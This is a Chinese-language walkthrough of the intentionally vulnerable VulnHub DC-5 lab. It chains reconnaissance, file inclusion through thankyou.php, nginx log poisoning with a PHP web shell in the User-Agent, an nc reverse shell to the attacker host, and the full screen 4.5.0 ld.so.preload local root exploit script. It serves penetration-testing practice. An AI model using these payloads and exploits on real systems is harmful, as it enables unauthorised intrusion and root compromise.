vulnhub靶场记录DC-5
vulnhub靶场DC-5通关记录
靶场描述
DC-5 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.
The plan was for DC-5 to kick it up a notch, so this might not be great for beginners, but should be ok for people with intermediate or better experience. Time will tell (as will feedback).
As far as I am aware, there is only one exploitable entry point to get in (there is no SSH either). This particular entry point may be quite hard to identify, but it is there. You need to look for something a little out of the ordinary (something that changes with a refresh of a page). This will hopefully provide some kind of idea as to what the vulnerability might involve.
And just for the record, there is no phpmailer exploit involved. :-)
The ultimate goal of this challenge is to get root and to read the one and only flag.
Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.
For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won't give you the answer, instead, I'll give you an idea about how to move forward.
But if you're really, really stuck, you can watch this video which shows the first step.
提到本次靶场中 不存在ssh服务
渗透靶场
一、信息搜集
首先 给靶机开启NAT模式 使用nmap扫描靶机ip
nmap 192.168.160.0/24
扫出来是192.168.160.156
在扫描详细的端口信息
nmap -A -p- -v 192.168.160.156
开放了80端口 存在web服务 使用nginx中间件 版本是1.6.2
开放了111端口 存在rpcbind服务 版本是2.4
了解一下rpcbind服务
这里要先说一下NFS文件系统
NFS(network file system):网络文件系统。Linux下三大文件系统之一,采用C/S架构。允许网络中的计算机之间通过TCP/IP网络共享资源。在NFS应用中,本地NFS客户端可以透明的读写位于远端NFS服务器上的文件。
NFS服务器主要进程
1 rpc.nfsd 进程
NFS 服务的主进程,主要管理客户端是否能够接入 NFS 服务器以及数据的传输。
该进程固定监听 TCP/UDP 2049 端口。
2 rpc.mountd 进程
管理和维护 NFS 文件系统,根据所设定的权限决定是否允许客户端挂载指定的共享目录。
该进程监听的端口默认是不固定的。
3 rpc.lockd 进程
提供文件锁功能,防止多个客户端同时写入一个文件。
该进程监听的端口默认是不固定的。
4 rpc.statd 进程
负责检查数据的状态及一致性,需要与 rpc.lockd 配合使用。
该进程监听的端口默认是不固定的。
5 rpcbind 进程
RPC 的端口映射器进程,监听 UDP 111 端口。
NFS服务端机器:通过NFS协议将文件共享到网络上
NFS客户端机器:通过网络挂载NFS共享目录到本地
RPC(Remote Procedure Call):远程过程调用协议
NFS 只提供了基本的文件处理功能,而不提供任何 TCP/IP 数据传输功能。它需要借助 RPC 协议才能实现 TCP/IP 数据传输功能。
RPC 最主要的功能就是在指定每个 NFS 功能所对应的端口序号(port number ),并且回报给客户端,让客户端可以连结到正确的物理端口(port)上去。
一般情况下 rpcbind服务运行在111、31端口 本次靶机的rpcbind服务就开在111端口上
在使用whatweb进行站点CMS识别
whatweb -v 192.168.160.156
使用dirb 扫一下目录
dirb http://192.168.160.156
没扫出来啥东西
二、访问web站点
在contact页面 看到可以提交东西 尝试随便写点内容提交
发现跳转到thankyou.php 对于提交的内容 使用GET方式进行上传
但是注意到 在提交之后下面的年份发生了变化
从2019年变为了2018年
尝试刷新发现 即使不传入参数 只刷新页面 这个年份也会改变 怀疑存在文件包含
确认文件包含
在使用dirsearch扫一下目录
[16:04:27] 200 - 4KB - /contact.php
[16:04:28] 301 - 184B - /css -> http://192.168.160.156/css/
[16:04:36] 200 - 6KB - /faq.php
[16:04:38] 200 - 17B - /footer.php
[16:04:44] 301 - 184B - /images -> http://192.168.160.156/images/
[16:04:44] 403 - 570B - /images/
[16:05:30] 200 - 852B - /thankyou.php
扫出来这些页面 其中contact.php faq.php thankyou.php
都已经出现过 访问一下footer.php
刷新一次 年份就会发生变化 因此thankyou.php
存在文件包含 包含的文件是footer.php
使用bp找到文件包含的变量名和包含值
在thankyou.php
页面抓个包 发送到爆破页面 构造一个文件包含的GET请求头
?1=1
使用集束炸弹模式(Cluster bomb) 进行爆破 集束炸弹模式是笛卡尔积的方式来进行爆破 最为全面
爆破出了8组值 成功包含出/etc/passwd
文件 得知文件包含的变量名是file
进行日志包含
在前面信息搜集的时候 我们得知 该站点使用的中间件是nginx
nginx的日志一般在/var/log/nginx/access.log
中 尝试进行包含
根据日志包含的知识 http请求头中user-agent
部分的内容会出现在日志中 我们就可以在user-agent
中写入shell 在包含日志文件 执行shell
我们写入
<?php phpinfo(); ?>
成功执行
反弹shell
既然可以进行文件包含 我们直接在user-agent
中写入shell
<?php passthru($_GET['123']); ?> // passthru的作用和system类似
使用GET方法
123=nc%20192.168.160.131%201111%20-e%20%2fbin%2fbash
或者
<?php eval($_GET['123']); ?>
使用GET方法
123=system('nc%20192.168.160.131%201111%20-e%20%2fbin%2fbash');
在kali攻击机上监听1111
端口
nc -lvvp 1111
成功反弹shell
再创造一个交互式shell
python -c "import pty;pty.spawn('/bin/bash')"
三、提权
查看suid提权命令
当前用户www-data
还是一个低权限用户 我们先找一下在当前用户可以使用suid提权的命令
find / -type f -perm -u=s 2>dev/null
/bin/su
/bin/mount
/bin/umount
/bin/screen-4.5.0
/usr/bin/gpasswd
/usr/bin/procmail
/usr/bin/at
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/chsh
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper/usr/lib/eject/dmcrypt-get-device
/usr/sbin/exim4
/sbin/mount.nfs
看到了在DC-4中 我们使用过的老朋友exim4
我们先试试这次exim4
是否也可以成功提权
exim4提权
1.查找漏洞利用脚本
先查看靶机中exim4
命令的版本
exim4 --version
得知是4.84-2
的版本
使用searchsploit
找一下漏洞利用脚本
searchsploit exim 4.8
但是很可惜 并没有找到合适版本的exim4漏洞利用脚本
2.exim4提权失败
screen-4.5.0 提权
在前面查看suid提权命令的时候 还发现一个screen-4.5.0
GNU Screen是一款由GNU计划开发的用于命令行终端切换的自由软件。用户可以通过该软件同时连接多个本地或远程的命令行会话,并在其间自由切换。
GNU Screen可以看作是窗口管理器的命令行界面版本。它提供了统一的管理多个会话的界面和相应的功能。
screen命令虚拟了一个终端(session),可在终端内运行命令,多次运行screen命令可以虚拟多个不同的终端;
每个session可以开启多个窗口,每个窗口有自己的shell,可以在不同的窗口中同时运行多个命令,每个命令都相当于在前台运行,可以与用户交互;
1.查找漏洞利用脚本
searchsploit screen 4.5.0
找到两个权限提升的漏洞利用脚本
2.将漏洞利用脚本保存到攻击机
searchsploit -p linux/local/41154.sh
searchsploit -p linux/local/41152.txt
cp /usr/share/exploitdb/exploits/linux/local/41154.sh 41154.sh
cp /usr/share/exploitdb/exploits/linux/local/41152.txt 41152.txt
3.查看41154.sh
#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017)
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell
4.编译libhax.c文件
gcc -fPIC -shared -ldl -o libhax.so libhax.c
5.编译rootshell.c文件并删除
gcc -o rootshell rootshell.c
rm -f rootshell.c
6.另存为新的dc5.sh文件
将刚才利用到的脚本和命令删除 另存为新的dc5.sh
文件
#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017)
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell
保存的时候 在最后面加上 :set ff=unix 防止脚本格式错误
6.下载漏洞脚本到靶机
wget http://192.168.160.150/rootshell
wget http://192.168.160.150/libhax.so
wget http://192.168.160.150/dc5.sh
7.提权
将这三个文件传给靶机之后 赋予dc5.sh
执行权限
chmod +x dc5.sh
chmod 777 dc5.sh
在直接执行就可以得到root权限
但是我这边会报错 在执行rootshell
文件时显示glibc环境不对 可能是编译rootshell
文件时的环境版本太高了 但前面的操作步骤是没问题的 解决的话 只能是换一个低版本的环境去编译rootshell
正常情况下就是可以直接得到root权限 进入root文件夹 看到flag文件了
总结
至此 DC-5靶场通关